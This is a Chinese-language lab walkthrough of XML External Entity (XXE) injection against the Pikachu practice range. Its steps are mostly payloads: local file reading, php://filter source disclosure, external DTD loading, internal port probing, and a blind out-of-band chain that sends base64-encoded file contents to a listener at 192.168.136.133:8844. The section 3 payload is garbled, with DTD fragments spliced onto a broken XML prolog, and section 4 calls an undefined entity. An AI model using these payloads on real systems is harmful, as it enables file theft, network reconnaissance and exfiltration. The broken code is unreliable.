XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)内网扫描等危害
在本篇 文章中我们使用pikachu靶场实现XXE漏洞复现
1.POC:攻击测试
在这里,我们先尝试用xml语言定义一个实体,并将其内容定义为“仙男”,然后进行调用,具体的代码如下
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙男" > ]>
<foo>&xxe;</foo>
输入后点击提交,发现我们定义的实体内容直接显示在页面上
2.EXP:查看文件
xml漏洞还可以让攻击者直接查看网站所有者计算机中的文件,在这里我们利用file协议去读取一下位于C盘下的1.txt文件内容,具体代码如下
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/1.txt" > ]><foo>&xxe;</foo>
输入后点击提交出现如下页面
3.EXP:查看源码
这一次,我们要查看pikachu靶场下一个文件的源代码,但若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析,所以在这里我们可以使用php://filter/read=convert.base64-encode/resource=,将我们获取到的信息先进行base64编码,再将其输出,具体代码如下,(为了举例子,在这里我们仍然查看c盘下的1.txt)
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
<?xml version="1.0"?>"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> %remote;
%send;]>
输入后出现如下页面
将其base64解码后即可获得1.txt内容
4.EXP:DTD外部调用
xml漏洞还可以利用dtd文件,从外部调用并查看文件,首先将想要查看的文件写到dtd文件中并保存到web根目录下,与pikachu靶场同级
然后在输入框中输入如下代码,去定义一个参数实体,内容指向我们web目录下的ooo.dtd文件,然后在最后进行调用
<!DOCTYPE foo
[<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1/ooo.dtd" >
%xxe;
]>
<foo>&evil;</foo>
点击提交后出现如下页面
5.EXP:探测内网存活主机与开放端口
利用xml漏洞,我们还可以查看内网中存活的主机以及其开放的端口,具体代码如下
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80"> ]>
<x>&rabbit;</x>
这里是查看我们的80端口是否开放,如果开放则会立马加载完成页面,如果没开放则会加载一段时间后才恢复正常
6.EXP:无回显探测
上面的文件查看等操作都是在页面有回显的前提下进行的,在这里我们进行一下无回显探测,我们需要用到kali虚拟机。先确保物理机与虚拟机可以连接,然后在kali中开启任意一个端口的监听,这里,我们开启8844端口监听
然后在我们的web根目录下创建一个dtd文件,用于外部调用,ooo.dtd文件的内容如下
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
这里的url填写虚拟机的ip以及我们监听的端口,然后在c盘下创建一个1.txt文件,我这里的内容为1231
然后构造我们要在输入框中提交的代码,具体代码如下
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://192.168.136.133/ooo.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> %remote;
%send;]>
提交后当页面开始加载时,就可以去看虚拟机监听结果了
问号后面的内容就是1.txt中的内容经过base64编码后的内容